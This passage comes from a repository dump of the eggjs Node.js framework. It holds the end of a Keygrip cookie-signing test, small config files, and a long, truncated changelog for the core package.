oldEncrypted.toString('hex'));\n    const result = keygrip.decrypt(oldEncrypted);\n    assert(result);\n    assert.equal(result.value.toString('utf-8'), 'hello');\n  });\n\n  it('should signed and verify success', () => {\n    const keygrip = new Keygrip(['foo', 'bar']);\n    const newKeygrip = new Keygrip(['another', 'foo']);\n\n    const signed = keygrip.sign('hello');\n    assert.equal(keygrip.verify('hello', signed), 0);\n    assert.equal(newKeygrip.verify('hello', signed), 1);\n  });\n\n  it('should signed and verify failed return -1', () => {\n    const keygrip = new Keygrip(['foo', 'bar']);\n    const newKeygrip = new Keygrip(['another']);\n\n    const signed = keygrip.sign('hello');\n    assert.equal(keygrip.verify('hello', signed), 0);\n    assert.equal(newKeygrip.verify('hello', signed), -1);\n  });\n});\n"
  },
  {
    "path": "packages/cookies/tsconfig.json",
    "content": "{\n  \"extends\": \"../../tsconfig.json\"\n}\n"
  },
  {
    "path": "packages/cookies/tsdown.config.ts",
    "content": "import { defineConfig } from 'tsdown';\n\nexport default defineConfig({\n  entry: {\n    index: 'src/index.ts',\n  },\n});\n"
  },
  {
    "path": "packages/core/.gitignore",
    "content": "/node_modules\ncoverage\n.logs\nnpm-debug.log\n.vscode\n.DS_Store\nyarn.lock\ntest/fixtures/egg/node_modules/egg-core\n.idea\n.nyc_output\npackage-lock.json\nrun\ntest/fixtures/*/timing.json\nlib/\n.tshy*\ndist\n.package-lock.json\n"
  },
  {
    "path": "packages/core/CHANGELOG.md",
    "content": "# Changelog\n\n> [!IMPORTANT]\n> Moving forwards we are using the GitHub releases page at <https://github.com/eggjs/egg/releases> in combination with [release.yml](https://github.com/eggjs/egg/actions/workflows/release.yml) for publishing releases and their changelogs.\n\n---\n\n## 7.0.0+\n\n### ⚠ BREAKING CHANGES\n\n* drop Node.js < 22.18.0 support\n* only support egg@4\n\npart of https://github.com/eggjs/egg/issues/5434\n\n---\n\n## [6.5.0](https://github.com/eggjs/core/compare/v6.4.1...v6.5.0) (2025-03-28)\n\n### Features\n\n- use oxlint ([#298](https://github.com/eggjs/core/issues/298)) ([0ae16e4](https://github.com/eggjs/core/commit/0ae16e4ce3190b5a2352981f4ff358fbc4918c8d))\n\n## [6.4.1](https://github.com/eggjs/core/compare/v6.4.0...v6.4.1) (2025-03-22)\n\n### Bug Fixes\n\n- use lifecycle instead of beforeStart ([#297](https://github.com/eggjs/core/issues/297)) ([26c95a7](https://github.com/eggjs/core/commit/26c95a7b8eeeaae7cf460f074b48e83b07dc93ff))\n\n## [6.4.0](https://github.com/eggjs/core/compare/v6.3.2...v6.4.0) (2025-03-01)\n\n### Features\n\n- support vitest ([#295](https://github.com/eggjs/core/issues/295)) ([500c4ac](https://github.com/eggjs/core/commit/500c4ac6d2af50eb9c8c21aeeaaeeca0cae24361))\n\n## [6.3.2](https://github.com/eggjs/core/compare/v6.3.1...v6.3.2) (2025-02-16)\n\n### Bug Fixes\n\n- loadFile ignore ts extend on readFileSync ([#294](https://github.com/eggjs/core/issues/294)) ([1cf0a53](https://github.com/eggjs/core/commit/1cf0a537a0c8a0b26a9eb1b55ce23aaae1c6ff15))\n\n## [6.3.1](https://github.com/eggjs/core/compare/v6.3.0...v6.3.1) (2025-01-21)\n\n### Bug Fixes\n\n- avoid non-stringify error ([#289](https://github.com/eggjs/core/issues/289)) ([fa25d57](https://github.com/eggjs/core/commit/fa25d572b0f96cfa72a4484c17946fe661e1b058))\n\n## [6.3.0](https://github.com/eggjs/core/compare/v6.2.13...v6.3.0) (2025-01-20)\n\n### Features\n\n- mv Singleton from egg ([#288](https://github.com/eggjs/core/issues/288)) ([b5ebf68](https://github.com/eggjs/core/commit/b5ebf6825199cfcdbd3f502023b35eda260b4262))\n\n## [6.2.13](https://github.com/eggjs/core/compare/v6.2.12...v6.2.13) (2025-01-04)\n\n### Bug Fixes\n\n- support load plugin from typescript dir ([#287](https://github.com/eggjs/core/issues/287)) ([7adabd5](https://github.com/eggjs/core/commit/7adabd5042e9f464ec2352f3292d7a86318db8b4))\n\n## [6.2.12](https://github.com/eggjs/core/compare/v6.2.11...v6.2.12) (2025-01-03)\n\n### Bug Fixes\n\n- export EggAppConfig type let plugin can override it ([#286](https://github.com/eggjs/core/issues/286)) ([62b1f97](https://github.com/eggjs/core/commit/62b1f972826f5a51901ff36e6bbd8f4a9d7a570f))\n\n## [6.2.11](https://github.com/eggjs/core/compare/v6.2.10...v6.2.11) (2025-01-02)\n\n### Bug Fixes\n\n- remove response template context ([#285](https://github.com/eggjs/core/issues/285)) ([84dc3b3](https://github.com/eggjs/core/commit/84dc3b34d6ad885f0ad530aad20a0d564615dbb3))\n\n## [6.2.10](https://github.com/eggjs/core/compare/v6.2.9...v6.2.10) (2025-01-02)\n\n### Bug Fixes\n\n- don't set template Context on BaseContextClass ([#284](https://github.com/eggjs/core/issues/284)) ([45b0504](https://github.com/eggjs/core/commit/45b0504cddd17ae24fffde33b72dce6d07e285f5))\n\n## [6.2.9](https://github.com/eggjs/core/compare/v6.2.8...v6.2.9) (2025-01-02)\n\n### Bug Fixes\n\n- remove ContextDelegation ([#283](https://github.com/eggjs/core/issues/283)) ([c56cf7b](https://github.com/eggjs/core/commit/c56cf7b9beff7f6fdcd2e3660800f3effd90fc9e))\n\n## [6.2.8](https://github.com/eggjs/core/compare/v6.2.7...v6.2.8) (2025-01-02)\n\n### Bug Fixes\n\n- show ts error on loadFile ([#282](https://github.com/eggjs/core/issues/282)) ([1d3ab39](https://github.com/eggjs/core/commit/1d3ab39c544a65d818f546b4af7626d03de39b91))\n\n## [6.2.7](https://github.com/eggjs/core/compare/v6.2.6...v6.2.7) (2024-12-31)\n\n### Bug Fixes\n\n- deprecated should print to stdout ([#281](https://github.com/eggjs/core/issues/281)) ([2aeb0e2](https://github.com/eggjs/core/commit/2aeb0e25acff9615d08ffc29e62b65c982b56674))\n\n## [6.2.6](https://github.com/eggjs/core/compare/v6.2.5...v6.2.6) (2024-12-29)\n\n### Bug Fixes\n\n- ignore js file when the same ts file exists ([#280](https://github.com/eggjs/core/issues/280)) ([a6acc88](https://github.com/eggjs/core/commit/a6acc88451ccaa397ba9da8cb49ac83aba03f162))\n\n## [6.2.5](https://github.com/eggjs/core/compare/v6.2.4...v6.2.5) (2024-12-28)\n\n### Bug Fixes\n\n- load extend ([#279](https://github.com/eggjs/core/issues/279)) ([0f0a13c](https://github.com/eggjs/core/commit/0f0a13c3cc220b0773830f281be1870a748ae5a9))\n\n## [6.2.4](https://github.com/eggjs/core/compare/v6.2.3...v6.2.4) (2024-12-20)\n\n### Bug Fixes\n\n- separte agent and application start time ([#278](https://github.com/eggjs/core/issues/278)) ([6852046](https://github.com/eggjs/core/commit/685204632a6a8df7a4252faa7dc03041df0274b8))\n\n## [6.2.3](https://github.com/eggjs/core/compare/v6.2.2...v6.2.3) (2024-12-19)\n\n### Bug Fixes\n\n- export Router Class ([#277](https://github.com/eggjs/core/issues/277)) ([acf5958](https://github.com/eggjs/core/commit/acf595810055d0399a2a2f875eb9e38e4af027cf))\n\n## [6.2.2](https://github.com/eggjs/core/compare/v6.2.1...v6.2.2) (2024-12-19)\n\n### Bug Fixes\n\n- extend support Class ([#276](https://github.com/eggjs/core/issues/276)) ([b0a4b37](https://github.com/eggjs/core/commit/b0a4b37f3afd04594a508d7817d8d0246456a5b2))\n\n## [6.2.1](https://github.com/eggjs/core/compare/v6.2.0...v6.2.1) (2024-12-18)\n\n### Bug Fixes\n\n- improve lifecycle deprecated message ([#275](https://github.com/eggjs/core/issues/275)) ([ff906ee](https://github.com/eggjs/core/commit/ff906ee4ba107d3e29c88c85ca5172bcd18a14f0))\n\n## [6.2.0](https://github.com/eggjs/core/compare/v6.1.0...v6.2.0) (2024-12-18)\n\n### Features\n\n- support file returning async functions when loading it ([#272](https://github.com/eggjs/core/issues/272)) ([cb48d0e](https://github.com/eggjs/core/commit/cb48d0e53d36e500ab186505c9d4f32528bf6ff9))\n\n## [6.1.0](https://github.com/eggjs/core/compare/v6.0.3...v6.1.0) (2024-12-17)\n\n### Features\n\n- support `pkg.eggPlugin.exports` property ([#274](https://github.com/eggjs/core/issues/274)) ([df9efed](https://github.com/eggjs/core/commit/df9efedb22c630b13a4f1374f96450f6ba1107ab))\n\n## [6.0.3](https://github.com/eggjs/core/compare/v6.0.2...v6.0.3) (2024-12-13)\n\n### Bug Fixes\n\n- dont import default value ([#273](https://github.com/eggjs/core/issues/273)) ([16274e7](https://github.com/eggjs/core/commit/16274e744007bcbeef9a99210fa00c8812d05718))\n\n## [6.0.2](https://github.com/eggjs/core/compare/v6.0.1...v6.0.2) (2024-06-30)\n\n### Bug Fixes\n\n- don't override koa Middleware type ([#271](https://github.com/eggjs/core/issues/271)) ([1facf82](https://github.com/eggjs/core/commit/1facf824a41c9227e8da862fda1f17071f1d2a55))\n\n## [6.0.1](https://github.com/eggjs/core/compare/v6.0.0...v6.0.1) (2024-06-23)\n\n### Bug Fixes\n\n- should export everything ([#270](https://github.com/eggjs/core/issues/270)) ([0217618](https://github.com/eggjs/core/commit/021761870c4c03fb30512df7ef975164335321cc))\n\n## [6.0.0](https://github.com/eggjs/core/compare/v5.3.1...v6.0.0) (2024-06-17)\n\n### ⚠ BREAKING CHANGES\n\n- Drop Node.js < 18.19.0 support\n\nhttps://github.com/eggjs/core/issues/264\n\nthe core part of https://github.com/eggjs/egg/issues/3644\n\nBreaking changes:\n\n- Drop Node.js < 18.19.0 support\n- Drop generator function support\n- loader functions change to async function\n\n### Features\n\n- export asyncLocalStorage instance to global ([#267](https://github.com/eggjs/core/issues/267)) ([910fe85](https://github.com/eggjs/core/commit/910fe855e990e5f9775df401243f1b8c2cfc2710))\n- support cjs and esm both ([#265](https://github.com/eggjs/core/issues/265)) ([fed5f35](https://github.com/eggjs/core/commit/fed5f35dcb5de71be35a25a8ea85e8bc48b154d6))\n\n### Bug Fixes\n\n- use gals lib ([#268](https://github.com/eggjs/core/issues/268)) ([72fafc8](https://github.com/eggjs/core/commit/72fafc8abd4cec322c0a210aa797f28c4bfdae32))\n\n## [5.3.1](https://github.com/eggjs/core/compare/v5.3.0...v5.3.1) (2023-04-06)\n\n### Bug Fixes\n\n- skip register tsconfig-paths if tsconfig.json not exists ([#261](https://github.com/eggjs/core/issues/261)) ([24a0d64](https://github.com/eggjs/core/commit/24a0d64cee90b283870ba325a650f7fe592f4abc)), closes [/github.com/eggjs/egg-core/pull/254#issuecomment-1493713971](https://github.com/eggjs//github.com/eggjs/egg-core/pull/254/issues/issuecomment-1493713971)\n\n## [5.3.0](https://github.com/eggjs/core/compare/v5.2.0...v5.3.0) (2023-01-13)\n\n### Features\n\n- support show app.timing in timline string ([#260](https://github.com/eggjs/core/issues/260)) ([5b7af12](https://github.com/eggjs/core/commit/5b7af1230637e5266ea05bd97fd19d4da85f1aab)), closes [#0](https://github.com/eggjs/core/issues/0) [#1](https://github.com/eggjs/core/issues/1) [#2](https://github.com/eggjs/core/issues/2) [#3](https://github.com/eggjs/core/issues/3) [#4](https://github.com/eggjs/core/issues/4) [#5](https://github.com/eggjs/core/issues/5) [#6](https://github.com/eggjs/core/issues/6) [#7](https://github.com/eggjs/core/issues/7) [#8](https://github.com/eggjs/core/issues/8) [#9](https://github.com/eggjs/core/issues/9) [#10](https://github.com/eggjs/core/issues/10) [#11](https://github.com/eggjs/core/issues/11) [#12](https://github.com/eggjs/core/issues/12) [#13](https://github.com/eggjs/core/issues/13) [#14](https://github.com/eggjs/core/issues/14) [#15](https://github.com/eggjs/core/issues/15) [#16](https://github.com/eggjs/core/issues/16) [#17](https://github.com/eggjs/core/issues/17) [#18](https://github.com/eggjs/core/issues/18) [#19](https://github.com/eggjs/core/issues/19) [#20](https://github.com/eggjs/core/issues/20) [#21](https://github.com/eggjs/core/issues/21) [#22](https://github.com/eggjs/core/issues/22)\n\n## [5.2.0](https://github.com/eggjs/core/compare/v5.1.1...v5.2.0) (2023-01-03)\n\n### Features\n\n- upgrade ready-callback v3 ([#258](https://github.com/eggjs/core/issues/258)) ([8a94313](https://github.com/eggjs/core/commit/8a9431353ea3418cdfce04ca4be40eecb51fd4fe))\n\n## [5.1.1](https://github.com/eggjs/core/compare/v5.1.0...v5.1.1) (2023-01-01)\n\n### Bug Fixes\n\n- @types/depd and @types/koa should be dependencies ([#257](https://github.com/eggjs/core/issues/257)) ([91937c3](https://github.com/eggjs/core/commit/91937c392f8381a83e954385f99188a7f3590f52))\n\n## [5.1.0](https://github.com/eggjs/core/compare/v5.0.0...v5.1.0) (2023-01-01)\n\n### Features\n\n- use globby@11 ([#236](https://github.com/eggjs/core/issues/236)) ([c8898ac](https://github.com/eggjs/core/commit/c8898acf28b202a5f04f422d9adc9d48aa3b0e3f))\n\n## [5.0.0](https://github.com/eggjs/core/compare/v4.30.1...v5.0.0) (2023-01-01)\n\n### ⚠ BREAKING CHANGES\n\n- drop Node.js < 14.17.0 support\n\n### Features\n\n- upgrade dependencies and devDependencies ([#256](https://github.com/eggjs/core/issues/256)) ([540f3fe](https://github.com/eggjs/core/commit/540f3fe040abd856adf8ec85be15b91fbd99106a))\n\n## [4.30.1](https://github.com/eggjs/core/compare/v4.30.0...v4.30.1) (2022-12-19)\n\n### Bug Fixes\n\n- should support pkg.egg.typescript = true config ([#255](https://github.com/eggjs/core/issues/255)) ([85f2eda](https://github.com/eggjs/core/commit/85f2edab9875524e7be044a818ec27d1d71292b1))\n\n## [4.30.0](https://github.com/eggjs/core/compare/v4.29.0...v4.30.0) (2022-12-19)\n\n### Features\n\n- auto register tsconfig-paths on env.EGG_TYPESCRIPT enable ([#254](https://github.com/eggjs/core/issues/254)) ([6d75322](https://github.com/eggjs/core/commit/6d75322e4bf7abbdc6a1405ab045e552aa41df08))\n\n---\n\n# 4.29.0 / 2022-12-06\n\n**features**\n\n- [[`0e48956`](https://github.com/eggjs/core/commit/0e4895602bcc690e8e5ef6c6ccca64aed6732cbe)] - feat: enable asyncLocalStorage by default (#251) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.28.1 / 2022-11-28\n\n**fixes**\n\n- [[`1d7d19b`](https://github.com/eggjs/core/commit/1d7d19bc6c1fabdb8cea51dcd680fd608f5cc4fe)] - fix: fix call legacyReadyCallback with options (#250) (killa <<killa123@126.com>>)\n\n# 4.28.0 / 2022-11-28\n\n**features**\n\n- [[`d4080c0`](https://github.com/eggjs/core/commit/d4080c0bdb727ea8a323c43a86e37baf7b6067e0)] - feat: add legacy timing (#249) (killa <<killa123@126.com>>)\n\n# 4.27.0 / 2022-10-14\n\n**features**\n\n- [[`7750ebc`](https://github.com/eggjs/core/commit/7750ebc283543fb5c2ca9b704e247f04c7ca1ec8)] - feat: dump plugin info when it implicit enable by dependents plugin (#248) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.26.1 / 2022-09-20\n\n**fixes**\n\n- [[`0c571d8`](https://github.com/eggjs/core/commit/0c571d81ef9b000da67918caafa2800c64be4987)] - fix: appInfo.scope no value (#247) (一剑 <<answord@163.com>>)\n\n# 4.26.0 / 2022-09-07\n\n**features**\n\n- [[`7c6353f`](https://github.com/eggjs/core/commit/7c6353f1dfe2ed4ebf0d9ae432356608372664bd)] - feat: extract plugin loader method for override (#246) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.25.0 / 2022-09-07\n\n**features**\n\n- [[`8ae1aad`](https://github.com/eggjs/core/commit/8ae1aade1f3702f944b3c0e8794c88adc0a10459)] - feat: add load plugin methods (#245) (吖猩 <<whx89768@alibaba-inc.com>>)\n\n**others**\n\n- [[`7c4707c`](https://github.com/eggjs/egg-core.git/commit/7c4707c64c6df365e2c2b77b9dd8c7581c62a97f)] - Create codeql-analysis.yml (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.24.1 / 2022-06-23\n\n**fixes**\n\n- [[`f8c069b`](https://github.com/eggjs/core/commit/f8c069b0c1e8757ac8ee619c53d2d6f21ccd03db)] - fix: validate plugin.package (#244) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.24.0 / 2022-06-21\n\n**others**\n\n- [[`970134b`](https://github.com/eggjs/core/commit/970134b28f72fbcbb4bda50944ec5c301c7b7d89)] - chore: update node engines to 8.9.0+ (#243) (TZ | 天猪 <<atian25@qq.com>>)\n- [[`02bb843`](https://github.com/eggjs/core/commit/02bb8434066f1508fa522aaa5e6490ac50b9d963)] - refactor: use require.resolve instead of fs.exists (#238) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.23.0 / 2022-02-10\n\n**features**\n\n- [[`f8169f1`](https://github.com/eggjs/core/commit/f8169f1a6cfc451448364958e880f4db0cb33b63)] - feat: support plugin strict config (#240) (吖猩 <<whx89768@alibaba-inc.com>>)\n\n# 4.22.1 / 2022-01-28\n\n**fixes**\n\n- [[`a9fc514`](https://github.com/eggjs/core/commit/a9fc514f506a4f804099b60ea12c29351f373676)] - fix: plugin loader support pnpm (#239) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n# 4.22.0 / 2022-01-07\n\n**features**\n\n- [[`43f15ad`](https://github.com/eggjs/core/commit/43f15ada7291734aa583c274a8af5e321688deb5)] - feat: support pnpm node_modules style (#237) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.21.0 / 2021-11-24\n\n**others**\n\n- [[`4b523c5`](https://github.com/eggjs/core/commit/4b523c55bfba9e95a2c1a5b965f32ab3633ec194)] - deps: use globby@10.0.2 to fix security warning (fengmk2 <<fengmk2@gmail.com>>)\n- [[`26ec6e4`](https://github.com/eggjs/core/commit/26ec6e443f75daadceb558ddb32bcb8eebb39125)] - ci: remove travis (#233) (hyj1991 <<yeekwanvong@gmail.com>>)\n\n# 4.20.0 / 2020-09-23\n\n**features**\n\n- [[`9684589`](https://github.com/eggjs/core/commit/9684589dd13cdd97068d4ecdfe98bca68aa51632)] - feat: expose set config meta (#227) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.19.1 / 2020-09-15\n\n**fixes**\n\n- [[`19a60de`](https://github.com/eggjs/core/commit/19a60dec40279166968eae7a72a721eebe400141)] - fix: should end some timings (#226) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.19.0 / 2020-09-11\n\n**features**\n\n- [[`9e3b454`](https://github.com/eggjs/core/commit/9e3b454dc6cb52deca371a4a5512c5c9fe07716b)] - feat: support process.env.EGG_APP_CONFIG (#225) (TZ | 天猪 <<atian25@qq.com>>)\n- [[`b207f89`](https://github.com/eggjs/core/commit/b207f89b214cfd2a432df87d771a5126ffce9289)] - feat: timing support Process Start/Script Start (#222) (killa <<killa123@126.com>>)\n\n# 4.18.0 / 2020-08-18\n\n**features**\n\n- [[`9b371fa`](https://github.com/eggjs/core/commit/9b371fa55b80d8322995329da758e98fba3c5060)] - feat: support enable/disable/clear timing (#224) (TZ | 天猪 <<atian25@qq.com>>)\n\n# 4.17.6 / 2020-08-05\n\n**fixes**\n\n- [[`f704e99`](https://github.com/eggjs/core/commit/f704e99399833248e1ceb51f0fb440c5fdeff3fd)] - fix: this type in EggLoader (#223) (maxming <<maxming2333@gmail.com>>)\n\n# 4.17.5 / 2020-08-04\n\n**others**\n\n- [[`8cb0a6e`](https://github.com/eggjs/core/commit/8cb0a6ef56f47b5e003a2fd8bc3be9d037736149)] - chore(typings): add EggLoader interface (#221) (Kiho · Cham <<monkindey@163.com>>)\n\n# 4.17.4 / 2019-12-11\n\n**fixes**\n\n- [[`2935e16`](https://github.com/eggjs/core/commit/2935e16376cf4c49e049b0e0d9cb7c0bf0b8870a)] - fix: fix before close order (#219) (killa <<killa123@126.com>>)\n\n# 4.17.3 / 2019-07-07\n\n**fixes**\n\n- [[`77e11f5`](https://github.com/eggjs/core/commit/77e11f5fb38b3646fb20deb78bbc239b06bf8349)] - fix: fix ready callback id (#214) (killa <<killa123@126.com>>)\n\n**others**\n\n- [[`5bb4fe4`](https://github.com/eggjs/core/commit/5bb4fe4ac7e13a44744e580fc797fc6c29191159)] - deps: upgrade dependencies (#215) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 4.17.2 / 2019-05-14\n\n# 4.17.1 / 2019-04-24\n\n**fixes**\n\n- [[`947292c`](https://github.com/eggjs/core/commit/947292c77c1e54f22af0a7a31d0bb918d8d2a70d)] - fix: ignore console instance on config meta (#211) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.17.0 / 2019-04-24\n\n**features**\n\n- [[`515d50f`](https://github.com/eggjs/core/commit/515d50f59a00e1987affc8a06002d353ee926ab2)] - feat: debug middleware enter log on every request (#210) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.16.2 / 2019-04-11\n\n**others**\n\n- [[`1ba4d7c`](https://github.com/eggjs/core/commit/1ba4d7ca8f137399ad10c54814a334264752a41f)] - fix(d.ts): caseStyle should return array (#209) (JimmyDaddy <<heyjimmygo@gmail.com>>)\n\n# 4.16.1 / 2019-03-20\n\n**fixes**\n\n- [[`6bbbca2`](https://github.com/eggjs/core/commit/6bbbca275f6573f125979fa215fea62285be201d)] - fix: change non-exports type to interface (#206) (吖猩 <<whxaxes@qq.com>>)\n\n# 4.16.0 / 2019-03-19\n\n**features**\n\n- [[`0b7b6e6`](https://github.com/eggjs/core/commit/0b7b6e66d7dd3027c7f4b161b5e6601b8feed4c9)] - feat: custom loader support exports (#205) (TZ | 天猪 <<atian25@qq.com>>)\n- [[`01201c3`](https://github.com/eggjs/core/commit/01201c3e65383d90b3b33ddf7a20a17ce6b7e97c)] - feat: improve d.ts (#204) (吖猩 <<whxaxes@qq.com>>)\n\n**fixes**\n\n- [[`ab3ffcf`](https://github.com/eggjs/core/commit/ab3ffcf6e808a426178fe776604e500770e35e97)] - fix: customLoader should not overwrite the existing property (#203) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 4.15.0 / 2019-03-06\n\n**features**\n\n- [[`3299be4`](https://github.com/eggjs/core/commit/3299be492761f0082a37827c102d0d32204a03cd)] - feat: add new mixin loadCustomLoader in Loader (#202) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**fixes**\n\n- [[`d7c2c9a`](https://github.com/eggjs/core/commit/d7c2c9a2d3ed0361cb2fb43c657bae57a06ec32d)] - fix: don't print when plugins that disabled by app is empty (#201) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 4.14.1 / 2019-02-15\n\n**others**\n\n- [[`6d34013`](https://github.com/eggjs/core/commit/6d34013a6551f4862b5836441c642c9abde77f18)] - deps: use egg router 2.0.0 (#200) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.14.0 / 2019-02-03\n\n**features**\n\n- [[`2eb0076`](https://github.com/eggjs/core/commit/2eb007695e9509eb41d8e86032c7739d085d3d2c)] - feat: support options.env to specific server env (#199) (Yiyu He <<dead_horse@qq.com>>)\n\n# 4.13.3 / 2019-01-30\n\n**others**\n\n- [[`8bfbbea`](https://github.com/eggjs/core/commit/8bfbbea160a819a7c63a2581bd7538d20ff5d7a0)] - chore: upgrade egg-router (#198) (Yiyu He <<dead_horse@qq.com>>)\n\n# 4.13.2 / 2019-01-30\n\n**others**\n\n- [[`fcdf663`](https://github.com/eggjs/core/commit/fcdf663b823f0b6203a8b7eb0013838a0f48e650)] - chore: use @eggjs/router instead of koa-router (#197) (Yiyu He <<dead_horse@qq.com>>)\n- [[`29118e5`](https://github.com/eggjs/core/commit/29118e5fe266b6598f9d3fdb4fabd96dca4569e8)] - Chore (gitignore, file_loader.test.js): Update files (#195) (Maledong <<maledong_github@outlook.com>>)\n\n# 4.13.1 / 2019-01-11\n\n**others**\n\n- [[`35ed3fa`](https://github.com/eggjs/core/commit/35ed3fa2baf4cbcfee9f9e307e9f9f56fb93349d)] - refactor(jest-support): Replace require.extensions with Module.\\_extensions (#196) (Gray <<njugray@gmail.com>>)\n\n# 4.13.0 / 2018-12-14\n\n**features**\n\n- [[`90cafae`](https://github.com/eggjs/core/commit/90cafaea21f99a7dc97c50b591bbe3eae4eb039c)] - feat: loader support load file without extname (#194) (吖猩 <<whxaxes@qq.com>>)\n\n# 4.12.0 / 2018-12-11\n\n**features**\n\n- [[`df1cc5b`](https://github.com/eggjs/core/commit/df1cc5bd5b0764491e15a31932b357115371cf00)] - feat: support jest (#188) (吖猩 <<whxaxes@qq.com>>)\n\n**others**\n\n- [[`b123b61`](https://github.com/eggjs/core/commit/b123b618171fd7f2d10134bcb7e8f9f28ff5a033)] - chore: resolve EggApplication is not a Class (#186) (zhangdianpeng <<hzzhangdianpeng@corp.netease.com>>)\n\n# 4.11.0 / 2018-10-19\n\n**features**\n\n- [[`fdc1ee5`](https://github.com/eggjs/core/commit/fdc1ee546bc504dbf85d78f33ff61eaa266c0d02)] - feat: add 'configWillLoad' hook to lifecycle (#187) (fengmk2 <<fengmk2@gmail.com>>)\n\n# 4.10.3 / 2018-09-29\n\n**fixes**\n\n- [[`58a49e4`](https://github.com/eggjs/core/pull/184/commits/58a49e46684bf6adceada18abb1fe1b7086a764e)] - fix(lifecycle): forbid adding hook after initialization (#184) (initialwu)\n\n**others**\n\n- [[`9c16f2e`](https://github.com/eggjs/core/pull/184/commits/9c16f2e8919384b65ba36e2a7050db524d18c3a5)] - chore(eslint): set root=true to stop looking in parent folders (#183) (initialwu)\n\n# 4.10.2 / 2018-09-21\n\n**fixes**\n\n- [[`0b0c23f`](https://github.com/eggjs/core/commit/0b0c23f502fc0c2641fa7c1740a9777236e8f4db)] - fix: app.js export can be non-function (#182) (Yiyu He <<dead_horse@qq.com>>)\n\n# 4.10.1 / 2018-09-21\n\n**fixes**\n\n- [[`33c07db`](https://github.com/eggjs/core/commit/33c07db023ebc1a120d5ce1fa37da9e42b18e8f1)] - fix: ensure treat function app.js as configDidLoad (#181) (Yiyu He <<dead_horse@qq.com>>)\n\n# 4.10.0 / 2018-09-06\n\n**features**\n\n- [[`9d2f2fc`](https://github.com/eggjs/core/commit/9d2f2fc3655e29aca52ac06a574bf69c1ba4d239)] - feat: impl boot methods (#171) (killa <<killa123@126.com>>)\n\n**others**\n\n- [[`b71074d`](https://github.com/eggjs/core/commit/b71074d7c0d5e5353ab8d3bbf279023184557809)] - fix(config) removes whitespace from both ends of serverEnv (#180) (supperchong <<2267805901@qq.com>>)\n- [[`ae38fa4`](https://github.com/eggjs/core/commit/ae38fa4c47c35c32d9ca73e0311f64305573acd4)] - chroe: add more comments for toAsyncFunction and toPromise (Maledong <<maledong_github@outlook.com>>)\n- [[`4d4113c`](https://github.com/eggjs/core/commit/4d4113cfd27d1e8ce4ce65d2d19b0035b5291dcc)] - style(core): beautify reg and add .idea to ignore (#179) (Army <<army8735@qq.com>>)\n\n# 4.9.1 / 2018-07-12\n\n- revert: #172 loadUnit.name (#175)\n- chore(typings): add pkg.types and pkg.files entry for index.d.ts (#176)\n\n# 4.9.0 / 2018-07-09\n\n- chore(typings): add index.d.ts (#169)\n- feat: loadUnit should exports name (#172)\n- fix: remove useless code (#170)\n- docs: fix a typo (#168)\n\n# 4.8.0 / 2018-05-22\n\n**features**\n\n- [[`bb24396`](https://github.com/eggjs/core/commit/bb243964c98a633c6ccdfb5b0dc1f55a4d1ea301)] - feat: pick commit from 3.x (#166) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n\n- [[`72d33ae`](https://github.com/eggjs/core/commit/72d33ae10cf8ff9e8e640bf3aba028da5ca7b90a)] - test: add testcase for loadExtend with function call (#167) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n# 4.7.1 / 2018-04-25\n\n**fixes**\n\n- [[`4508c36`](https://github.com/eggjs/core/commit/4508c364346ddf16a752e26bc7966216f9c09c10)] - fix: toAsyncFunction can't pass is.asyncFunction() (#159) (Khaidi Chu <<i@2333.moe>>)\n\n# 4.7.0 / 2018-04-21\n\n- feat: support ts by env (#158)\n\n# 4.6.0 / 2018-04-09\n\n**features**\n\n- [[`7f087e7`](https://github.com/eggjs/core/commit/7f087e7d30bf9b07249b44fb943bcc9d109f26f6)] - feat: change assert to warning (#157) (Axes <<whxaxes@qq.com>>)\n\n# 4.5.0 / 2018-03-25\n\n**features**\n\n- [[`2c6fbbf`](https://github.com/eggjs/core/commit/2c6fbbf10c34420d623282312b555eecaaf3a755)] - feat: loader support custom extension (#156) (Axes <<whxaxes@qq.com>>)\n\n# 4.4.1 / 2018-03-09\n\n**fixes**\n\n- [[`046ffdd`](https://github.com/eggjs/core/commit/046ffdd5d4b918ddfc0e9f7980567374b594ef97)] - fix: should not load optional plugin & their deps (#154) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n\n# 4.4.0 / 2018-01-18\n\n**features**\n\n- [[`5323a9e`](git@github.com:eggjs/egg-core/commit/5323a9ec54d60a43aed06cfd67c617d02909715d)] - feat: add patch method for update (egg#1793) (#150) (吴建金 <<mosaic101@foxmail.com>>)\n\n# 4.3.2 / 2018-01-13\n\n**fixes**\n\n- [[`2926058`](git@github.com:eggjs/egg-core/commit/29260580b387ba6657c76a7881f60c4ce44c295c)] - fix: mutli-path register. (#151) (SuperEVO <<zhang740@qq.com>>)\n\n# 4.3.1 / 2018-01-12\n\n**fixes**\n\n- [[`b41891d`](https://github.com/eggjs/core/commit/b41891d160cd8be6e2df58b8540376b4ca6c76b8)] - fix: fix plugin sequence bug (#152) (zōng yǔ <<gxcsoccer@users.noreply.github.com>>)\n- [[`4f1c19a`](https://github.com/eggjs/core/commit/4f1c19af711e4fe8cf65a2f0f01acdf5f276188b)] - fix: only filter the plugin which is disabled by app (#145) (#146) (Haoliang Gao <<sakura9515@gmail.com>>)\n\n**others**\n\n- [[`3384a87`](https://github.com/eggjs/core/commit/3384a8796d878536e8144671c42f5872c3d0e3a9)] - refactor: replace `indexOf()` with `includes()` (#148) (m31271n <<m31271n@2players.studio>>)\n- 